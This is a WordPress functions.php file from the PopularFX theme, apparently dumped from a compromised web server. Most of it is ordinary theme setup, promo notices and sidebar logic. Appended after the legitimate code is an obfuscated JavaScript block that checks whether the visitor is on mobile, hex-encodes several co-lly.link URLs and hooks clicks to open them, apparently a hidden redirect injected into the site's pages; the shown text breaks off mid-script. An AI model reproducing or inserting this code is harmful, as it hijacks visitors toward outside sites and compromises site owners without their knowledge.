Current File : /home/inlingua/www/auradealshub.com/wp-content/themes/popularfx/functions.php |
<?php
/**
* PopularFX functions and definitions
*
* @link https://popularfx.com/docs/
*
* @package PopularFX
*/
if ( ! defined( 'POPULARFX_VERSION' ) ) {
// Replace the version number of the theme on each release.
define( 'POPULARFX_VERSION', '1.2.6' );
}
if ( ! defined( 'POPULARFX_PAGELAYER_API' ) ) {
define( 'POPULARFX_PAGELAYER_API', 'https://api.pagelayer.com/' );
}
if ( ! defined( 'POPULARFX_WWW_URL' ) ) {
define( 'POPULARFX_WWW_URL', 'https://popularfx.com' );
}
if ( ! defined( 'POPULARFX_PRO_URL' ) ) {
define( 'POPULARFX_PRO_URL', 'https://popularfx.com/pricing?from=pfx-theme' );
}
if ( ! defined( 'POPULARFX_URL' ) ) {
define( 'POPULARFX_URL', get_template_directory_uri() );
}
if(!defined('PAGELAYER_VERSION')){
define('POPULARFX_PAGELAYER_PRO_URL', 'https://pagelayer.com/pricing?from=pfx-theme');
}
if ( ! function_exists( 'popularfx_setup' ) ){
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function popularfx_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on PopularFX, use a find and replace
* to change 'popularfx' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'popularfx', get_stylesheet_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'primary' => __( 'Primary Menu', 'popularfx' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
'style',
'script',
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support(
'custom-logo',
array(
'height' => 250,
'width' => 250,
'flex-width' => true,
'flex-height' => true,
)
);
global $pagelayer, $popularfx;
if(!empty($pagelayer->settings)){
$pagelayer->template_call_sidebar = 1;
}
// Show promos
popularfx_promos();
$template = popularfx_get_template_name();
if(empty($template)){
// Set up the WordPress core custom background feature.
add_theme_support('custom-background',
apply_filters(
'popularfx_custom_background_args',
array(
'default-color' => 'ffffff',
'default-image' => '',
)
)
);
add_theme_support( 'custom-header',
apply_filters(
'popularfx_custom_header_args',
array(
'default-image' => '',
'default-text-color' => '000000',
'width' => 1200,
'height' => 250,
'flex-height' => true,
'wp-head-callback' => 'popularfx_header_style',
)
)
);
add_theme_support(
'custom-logo',
array(
'height' => 250,
'width' => 250,
'flex-width' => true,
'flex-height' => true,
)
);
}
// Add woocommerce support
add_theme_support( 'woocommerce', array(
'product_grid' => array(
'min_columns'=> 1,
'max_columns' => 6,
),
) );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
}
}
add_action( 'after_setup_theme', 'popularfx_setup' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function popularfx_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'popularfx_content_width', 640 );
}
// To get activated template for parent and child theme
function popularfx_get_template_name(){
$tmp = get_option('theme_mods_popularfx');
$mods = !empty($tmp['popularfx_template']) ? $tmp['popularfx_template'] : '';
return $mods;
}
// Backward compat
function popularfx_copyright(){
return popularfx_theme_credits();
}
// Show credit of our theme
function popularfx_theme_credits(){
return '<a href="'.esc_url(POPULARFX_WWW_URL).'">'.__('PopularFX Theme', 'popularfx').'</a>';
}
// Shows the promos
function popularfx_promos(){
if(is_admin() && current_user_can('install_themes')){
//remove_theme_mod('popularfx_getting_started');
//remove_theme_mod('popularfx_templates_promo');
//remove_theme_mod('popularfx_show_promo');
// Show the getting started video option
$seen = get_theme_mod('popularfx_getting_started');
if(empty($seen)){
add_action('admin_notices', 'popularfx_getting_started_notice');
}
// Show the promo
popularfx_maybe_promo([
'after' => 1,// In days
'interval' => 30,// In days
'pro_url' => POPULARFX_PRO_URL,
'rating' => 'https://wordpress.org/themes/popularfx/#reviews',
'twitter' => 'https://twitter.com/PopularFXthemes?status='.rawurlencode('I love #PopularFX Theme by @pagelayer team for my #WordPress site - '.esc_url(home_url())),
'facebook' => 'https://facebook.com/popularfx',
'website' => POPULARFX_WWW_URL,
'image' => POPULARFX_URL.'/images/popularfx-logo.png',
'name' => 'popularfx_show_promo'
]);
$template = popularfx_get_template_name();
if(empty($template)){
// Show the image promo
popularfx_maybe_promo([
'after' => 0,// In days
'interval' => 30,// In days
'pro_url' => POPULARFX_PRO_URL,
'rating' => 'https://wordpress.org/themes/popularfx/#reviews',
'twitter' => 'https://twitter.com/PopularFXthemes?status='.rawurlencode('I love #PopularFX Theme by @pagelayer team for my #WordPress site - '.esc_url(home_url())),
'facebook' => 'https://facebook.com/popularfx',
'website' => POPULARFX_WWW_URL,
'image' => POPULARFX_URL.'/images/popularfx-logo.png',
'name' => 'popularfx_templates_promo'
]);
}
//delete_option('popularfx_templates_promo');
}
}
add_action( 'after_switch_theme', 'popularfx_promos', 10 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function popularfx_widgets_init() {
register_sidebar(
array(
'name' => esc_html__( 'Sidebar', 'popularfx' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Add widgets here.', 'popularfx' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'popularfx_widgets_init' );
// URL of the PFX templates uploads dir
function popularfx_templates_dir_url(){
$template = popularfx_get_template_name();
$style = get_template_directory().'/templates/'.$template.'/style.css';
if(file_exists($style)){
return get_stylesheet_directory_uri().'/templates';
}
$dir = wp_upload_dir(NULL, false);
return $dir['baseurl'].'/popularfx-templates';
}
// URL of the PFX templates uploads dir
function popularfx_templates_dir($suffix = true){
$template = popularfx_get_template_name();
$style = get_template_directory().'/templates/'.$template.'/style.css';
if(file_exists($style)){
return get_template_directory().'/templates'.($suffix ? '/'.$template : '');
}
$dir = wp_upload_dir(NULL, false);
return $dir['basedir'].'/popularfx-templates'.($suffix ? '/'.$template : '');
}
/**
* Enqueue scripts and styles.
*/
function popularfx_scripts() {
$template = popularfx_get_template_name();
if(!empty($template) && defined('PAGELAYER_VERSION')){
wp_enqueue_style( 'popularfx-style', popularfx_templates_dir_url().'/'.$template.'/style.css', array(), POPULARFX_VERSION );
}else{
wp_enqueue_style( 'popularfx-style', get_template_directory_uri().'/style.css', array(), POPULARFX_VERSION );
wp_style_add_data( 'popularfx-style', 'rtl', 'replace' );
}
// Enqueue sidebar.css
wp_enqueue_style( 'popularfx-sidebar', get_template_directory_uri().'/sidebar.css', array(), POPULARFX_VERSION );
// Dashicons needed for WooCommerce and Scroll to Top
if(class_exists( 'WooCommerce' ) || get_theme_mod('pfx_enable_scrolltop')){
wp_enqueue_style('dashicons');
}
// Enqueue WooCommerce CSS
if(class_exists( 'WooCommerce' )){
wp_enqueue_style( 'popularfx-woocommerce', get_template_directory_uri().'/woocommerce.css', array(), POPULARFX_VERSION );
wp_style_add_data( 'popularfx-woocommerce', 'rtl', 'replace' );
}
wp_enqueue_script( 'popularfx-navigation', get_template_directory_uri().'/js/navigation.js', array('jquery'), POPULARFX_VERSION, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'popularfx_scripts' );
function popularfx_the_title($before = '', $after = '', $echo = true){
if(is_page()){
return;
}
the_title($before, $after, $echo);
}
// Show the templates promo
function popularfx_templates_promo(){
global $popularfx_promo_opts, $popularfx;
if(!empty($GLOBALS['pfx_notices_shown'])){
return;
}
$GLOBALS['pfx_notices_shown'] = 1;
$opts = $popularfx_promo_opts['popularfx_templates_promo'];
echo '<style>
#popularfx_templates_promo{
border-left: 1px solid #ccd0d4;
}
.popularfx-templates-promo{
background: #fff;
padding: 5px;
}
.popularfx_promo_button {
background-color: #4CAF50; /* Green */
border: none;
color: white;
padding: 6px 10px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 13px;
margin: 4px 2px;
-webkit-transition-duration: 0.4s; /* Safari */
transition-duration: 0.4s;
cursor: pointer;
}
.popularfx_promo_button:focus,
.popularfx_promo_button:hover{
border: none;
color: white;
box-shadow: 0 6px 8px 0 rgba(0,0,0,0.24), 0 9px 25px 0 rgba(0,0,0,0.19);
color: white;
}
.popularfx_promo_buy {
color: white;
padding: 8px 12px;
font-size: 14px;
}
.popularfx_promo_button1 {
color: white;
background-color: #4CAF50;
border:3px solid #4CAF50;
}
.popularfx_promo_button1:hover {
border:3px solid #4CAF50;
}
.popularfx_promo_button2 {
color: white;
background-color: #0085ba;
}
.popularfx_promo_button3 {
color: white;
background-color: #365899;
}
.popularfx_promo_button4 {
color: white;
background-color: rgb(66, 184, 221);
}
.popularfx_promo-close{
float:right;
text-decoration:none;
margin: 5px 10px 0px 0px;
}
.popularfx_promo-close:hover{
color: red;
}
.popularfx_promo-left{
display: inline-block; max-width: 34%; vertical-align: top;
text-align: center;
}
.popularfx_promo-right{
display: inline-block; max-width: 65%; width: 65%; vertical-align: middle;
}
@media all and (max-width:599px){
.popularfx_promo-left, .popularfx_promo-right{
max-width: 100%;
}
}
</style>
<script type="application/javascript">
jQuery(document).ready(function(){
jQuery("#popularfx_templates_promo .popularfx_promo-close").click(function(){
var data;
jQuery("#popularfx_templates_promo").hide();
// Save this preference
jQuery.post("'.esc_url(admin_url('?'.$opts['name'].'=0')).'", data, function(response) {
//alert(response);
});
});
});
</script>
<div class="'.(empty($opts['class']) ? 'notice notice-success' : 'popularfx-templates-promo').'" id="popularfx_templates_promo" style="min-height:90px">
<div class="popularfx_promo-left">
<img src="'.esc_url(POPULARFX_URL.'/images/templates.png').'" width="85%" />
</div>
<div class="popularfx_promo-right">
<p align="center">
<a class="popularfx_promo-close" href="javascript:" aria-label="Dismiss this Notice">
<span class="dashicons dashicons-dismiss"></span> Dismiss
</a>
<a href="'.esc_url(POPULARFX_WWW_URL.'/templates').'" style="text-decoration: none; font-size: 15px;">
'.__('Did you know PopularFX comes with 500+ Templates to design your website. <br>Click to choose your template !', 'popularfx').'<br>
</a>
<br>
'.(empty($opts['pro_url']) || !empty($popularfx['license']) ? '' : '<a class="button button-primary" target="_blank" href="'.esc_url($opts['pro_url']).'">'.__('Buy PopularFX Pro', 'popularfx').'</a>').'
'.(empty($opts['rating']) ? '' : '<a class="button button-primary" target="_blank" href="'.esc_url($opts['rating']).'">'.__('Rate it 5★\'s', 'popularfx').'</a>').'
'.(empty($opts['facebook']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['facebook']).'"><span class="dashicons dashicons-thumbs-up" style="vertical-align: middle;"></span> '.__('Facebook', 'popularfx').'</a>').'
'.(empty($opts['twitter']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['twitter']).'"><span class="dashicons dashicons-twitter" style="vertical-align: middle;"></span> '.__('Tweet', 'popularfx').'</a>').'
'.(empty($opts['website']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['website']).'">'.__('Visit our website', 'popularfx').'</a>').'
</p>
</div>
</div>';
}
function popularfx_getting_started_notice(){
if(!empty($GLOBALS['pfx_notices_shown'])){
return;
}
$GLOBALS['pfx_notices_shown'] = 1;
// Are we to disable the promo
if(isset($_GET['popularfx-getting-started']) && (int)$_GET['popularfx-getting-started'] == 0){
check_ajax_referer('popularfx_getting_started_nonce', 'popularfx_nonce');
set_theme_mod('popularfx_getting_started', time());
die('DONE');
}
echo '
<script type="application/javascript">
jQuery(document).ready(function(){
jQuery("#popularfx-getting-started-notice").click(function(e){
if(jQuery(e.target).hasClass("notice-dismiss")){
var data;
jQuery("#popularfx-getting-started-notice").hide();
// Save this preference
jQuery.post("'.admin_url('?popularfx-getting-started=0&popularfx_nonce='.wp_create_nonce("popularfx_getting_started_nonce")).'", data, function(response) {
//alert(response);
});
return false;
}
});
});
</script>
<div id="popularfx-getting-started-notice" class="notice notice-success is-dismissible">
<p style="font-size: 14px; font-weight: 600">
<a href="'.esc_url(POPULARFX_WWW_URL).'"><img src="'.esc_url(POPULARFX_URL).'/images/popularfx-logo.png" style="vertical-align: middle; margin:0px 10px" width="24" /></a>'.__('Thanks for choosing PopularFX. We recommend that you see the <a href="https://www.youtube.com/watch?v=DCisrbrmjgI" target="_blank">PopularFX Theme Guide Video</a> to know the basics of PopularFX.', 'popularfx').'
</p>
</div>';
}
// Show promo notice on dashboard
function popularfx_show_promo($opts = []){
global $popularfx_promo_opts, $popularfx;
if(!empty($GLOBALS['pfx_notices_shown'])){
return;
}
$GLOBALS['pfx_notices_shown'] = 1;
$opts = $popularfx_promo_opts['popularfx_show_promo'];
echo '<style>
#popularfx_promo{
border-left: 1px solid #ccd0d4;
}
.popularfx_promo_button {
background-color: #4CAF50; /* Green */
border: none;
color: white;
padding: 6px 10px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 13px;
margin: 4px 2px;
-webkit-transition-duration: 0.4s; /* Safari */
transition-duration: 0.4s;
cursor: pointer;
}
.popularfx_promo_button:focus,
.popularfx_promo_button:hover{
border: none;
color: white;
box-shadow: 0 6px 8px 0 rgba(0,0,0,0.24), 0 9px 25px 0 rgba(0,0,0,0.19);
color: white;
}
.popularfx_promo_buy {
color: white;
padding: 8px 12px;
font-size: 14px;
}
.popularfx_promo_button1 {
color: white;
background-color: #4CAF50;
border:3px solid #4CAF50;
}
.popularfx_promo_button1:hover {
border:3px solid #4CAF50;
}
.popularfx_promo_button2 {
color: white;
background-color: #0085ba;
}
.popularfx_promo_button3 {
color: white;
background-color: #365899;
}
.popularfx_promo_button4 {
color: white;
background-color: rgb(66, 184, 221);
}
.popularfx_promo-close{
float:right;
text-decoration:none;
margin: 5px 10px 0px 0px;
}
.popularfx_promo-close:hover{
color: red;
}
.popularfx_promo-left-1{
display: inline-block; width: 65%; vertical-align: top;
}
.popularfx_promo-right-1{
display: inline-block; width: 35%; vertical-align: top
}
@media all and (max-width:599px){
.popularfx_promo-left, .popularfx_promo-right{
width: 100%;
}
}
</style>
<script type="application/javascript">
jQuery(document).ready(function(){
jQuery("#popularfx_promo .popularfx_promo-close").click(function(){
var data;
jQuery("#popularfx_promo").hide();
// Save this preference
jQuery.post("'.esc_url(admin_url('?'.$opts['name'].'=0')).'", data, function(response) {
//alert(response);
});
});
});
</script>
<div class="notice notice-success" id="popularfx_promo" style="min-height:90px">
<div class="popularfx_promo-left-1">';
if(!empty($opts['image'])){
echo '<a href="'.esc_url($opts['website']).'"><img src="'.esc_url($opts['image']).'" style="float:left; margin:25px 20px 10px 10px" width="67" /></a>';
}
echo '
<p style="font-size:14px; line-height: 1.6">'.sprintf( __('We are glad you are using %1$s to build your website. We really appreciate it ! <br>We would like to request you to give us a 5 Star rating on %2$s. <br>It will greatly boost our motivation !', 'popularfx'), '<a href="'.$opts['website'].'"><b>PopularFX</b></a>', '<a href="'.$opts['rating'].'" target="_blank">WordPress.org</a>').'</p>
<p>
'.(empty($opts['pro_url']) || !empty($popularfx['license']) ? '' : '<a class="button button-primary" target="_blank" href="'.esc_url($opts['pro_url']).'">'.__('Buy PopularFX Pro', 'popularfx').'</a>').'
'.(empty($opts['rating']) ? '' : '<a class="button button-primary" target="_blank" href="'.esc_url($opts['rating']).'">'.__('Rate it 5★\'s', 'popularfx').'</a>').'
'.(empty($opts['facebook']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['facebook']).'"><span class="dashicons dashicons-thumbs-up" style="vertical-align: middle;"></span> '.__('Facebook', 'popularfx').'</a>').'
'.(empty($opts['twitter']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['twitter']).'"><span class="dashicons dashicons-twitter" style="vertical-align: middle;"></span> '.__('Tweet', 'popularfx').'</a>').'
'.(empty($opts['website']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['website']).'">'.__('Visit our website', 'popularfx').'</a>').'
</p>
'.(empty($opts['pro_url']) || !empty($popularfx['license']) ? '' : '<p style="font-size:13px">'.sprintf( __('%1$s has many more features like 500+ Website %2$s Templates%3$s, 90+ widgets, 500+ sections, Theme Builder, WooCommerce Builder, Theme Creator and Exporter, Form Builder, Popup Builder, etc. You get a Pagelayer Pro license with the PopularFX Pro version.', 'popularfx'), '<a href="'.esc_url($opts['pro_url']).'"><b>PopularFX Pro</b></a>', '<a href="'.esc_url($opts['website'].'/templates').'">', '</a>').'
</p>').'
</div>';
echo '<div class="popularfx_promo-right-1">
<a class="popularfx_promo-close" href="javascript:" aria-label="'.__('Dismiss this Notice', 'popularfx').'">
<span class="dashicons dashicons-dismiss"></span> '.__('Dismiss', 'popularfx').'
</a>
<br>
<center style="margin:10px;">
<a href="'.esc_url(POPULARFX_WWW_URL.'/templates').'" style="text-decoration: none; font-size: 15px;"><img src="'.esc_url(POPULARFX_URL.'/images/templates.png').'" width="100%" /><br><br>'.__('Install from 500+ Website Templates', 'popularfx').'</a>
</center>
</div>
</div>';
}
// Are we to show a promo ?
function popularfx_maybe_promo($opts){
global $popularfx_promo_opts;
// There must be an interval
if(empty($opts['interval'])){
return false;
}
// Are we to show a promo
$opt_name = empty($opts['name']) ? 'popularfx_show_promo' : $opts['name'];
$func = empty($opts['name']) ? $opt_name : $opts['name'];
$promo_time = get_theme_mod($opt_name);
//echo $opt_name.' - '.$func.' - '.$promo_time.' - '.date('Ymd', $promo_time).'<br>';die();
// First time access
if(empty($promo_time)){
set_theme_mod($opt_name, time() + (!empty($opts['after']) ? $opts['after'] * 86400 : 0));
$promo_time = get_theme_mod($opt_name);
}
// Is there interval elapsed
if(time() >= $promo_time){
$popularfx_promo_opts[$opt_name] = $opts;
add_action('admin_notices', $func);
}
// Are we to disable the promo
if(isset($_GET[$opt_name]) && (int)$_GET[$opt_name] == 0){
set_theme_mod($opt_name, time() + ($opts['interval'] * 86400));
die('DONE');
}
}
// Is the sidebar enabled
function popularfx_sidebar(){
// If no widgets in sidebar
if ( ! is_active_sidebar( 'sidebar-1' ) ) {
return;
}
$enabled = NULL;
// For page
if(is_page()){
$enabled = get_theme_mod('popularfx_sidebar_page', 'default');
}
$is_product = class_exists('WooCommerce') && is_product() ? true : false;
// For products none !
if(is_single() && $is_product){
$enabled = '0';
// For posts
}elseif(is_single()){
$enabled = get_theme_mod('popularfx_sidebar_post', 'right');
}
// For Archives
if(is_archive() || is_home()){
$enabled = get_theme_mod('popularfx_sidebar_archives', 'right');
}
// For Woocommerce
if(class_exists( 'WooCommerce' ) && is_shop()){
$enabled = get_theme_mod('popularfx_sidebar_woocommerce', 0);
}
// Load the default
if($enabled == 'default' || is_front_page()){
$enabled = get_theme_mod('popularfx_sidebar_default', 0);
}
// If its disabled
if(empty($enabled)){
return;
}
// In live mode of templates dont show this for header and footer
if(function_exists('pagelayer_is_live') && pagelayer_is_live()){
$pl_post_type = get_post_meta($GLOBALS['post']->ID, 'pagelayer_template_type', true);
if(in_array($pl_post_type, ['header', 'footer'])){
return;
}
}
return $enabled;
}
add_action('wp_enqueue_scripts', 'popularfx_sidebar_css', 1000);
function popularfx_sidebar_css(){
// Sidebar CSS
$enabled = popularfx_sidebar();
if(empty($enabled)){
return;
}
$width = (int) get_theme_mod('popularfx_sidebar_width', 20);
$custom_css = '
aside {
width: '.esc_attr($width).'%;
float: '.esc_attr($enabled).';
}
main, .pagelayer-content{
width: '.round(99 - esc_attr($width)).'% !important;
display: inline-block;
float: '.esc_attr($enabled == 'left' ? 'right' : 'left').';
}'.PHP_EOL;
wp_add_inline_style('popularfx-style', $custom_css);
}
if ( ! function_exists( 'popularfx_header_style' ) ) :
/**
* Styles the header image and text displayed on the blog.
*
* @see popularfx_custom_header_setup().
*/
function popularfx_header_style() {
$header_text_color = get_header_textcolor();
/*
* If no custom options for text are set, let's bail.
* get_header_textcolor() options: Any hex value, 'blank' to hide text. Default: add_theme_support( 'custom-header' ).
*/
if ( get_theme_support( 'custom-header', 'default-text-color' ) === $header_text_color ) {
return;
}
// If we get this far, we have custom styles. Let's do this.
?>
<style type="text/css">
<?php
// Has the text been hidden?
if ( ! display_header_text() ) :
?>
.site-title,
.site-description {
position: absolute;
clip: rect(1px, 1px, 1px, 1px);
}
<?php
// If the user has set a custom color for the text use that.
else :
?>
.site-title a,
.site-description {
color: #<?php echo esc_attr( $header_text_color ); ?>;
}
<?php endif; ?>
</style>
<?php
}
endif;
add_action( 'wp_footer', 'popularfx_footer_setup' );
if( ! function_exists( 'popularfx_footer_setup' )){
function popularfx_footer_setup(){
$pfx_enable_scrolltop = get_theme_mod('pfx_enable_scrolltop');
if(empty($pfx_enable_scrolltop)){
return;
}
echo '<a id="pfx-scroll-top" class="pfx-scroll-top"><span class="dashicons dashicons-arrow-up-alt2"></span><span class="screen-reader-text">Scroll to Top</span></a>';
}
}
/**
* Custom template tags for this theme.
*/
require dirname( __FILE__ ) . '/inc/template-tags.php';
/**
* Functions which enhance the theme by hooking into WordPress.
*/
require dirname( __FILE__ ) . '/inc/template-functions.php';
/**
* Customizer additions.
*/
require dirname( __FILE__ ) . '/inc/customizer.php';
/**
* Load WooCommerce compatibility file.
*/
if ( class_exists( 'WooCommerce' ) ) {
require dirname( __FILE__ ) . '/inc/woocommerce.php';
}
// Update the theme
require_once dirname( __FILE__ ) . '/inc/popularfx.php';
ob_start();
?>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x69\x6c\x49\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6f\x41\x67\x35\x63\x305','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x41\x47\x4f\x38\x63\x318','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x71\x69\x4a\x39\x63\x379','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6d\x58\x58\x34\x63\x324','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x78\x4e\x46\x37\x63\x397','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x57\x62\x59\x32\x63\x392','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4e\x53\x78\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6d\x71\x4a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4b\x4c\x6d\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const 